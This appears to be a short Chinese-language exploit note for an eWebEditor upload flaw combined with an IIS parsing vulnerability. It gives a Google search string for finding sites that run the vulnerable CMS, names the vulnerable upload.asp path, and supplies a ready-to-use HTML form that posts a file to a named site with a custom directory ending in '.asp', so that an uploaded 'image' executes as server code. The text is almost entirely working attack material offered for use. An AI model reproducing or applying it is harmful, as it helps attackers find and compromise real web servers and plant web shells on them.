ewebeditor的上传结合IIS解析漏洞

google关键字：intext:版权所有:yfcms

利用文件：admin\WebEditor\asp\upload.asp
利用代码：
<form action=”http://www.admin8.us/admin/WebEditor/asp/upload.asp?
action=save&type=image&style=popup&cusdir=admin8.asp” method=post
name=myform enctype=”multipart/form-data”> <input type=file name=uploadfile size=100><br><br> <input type=submit value=upload> </form>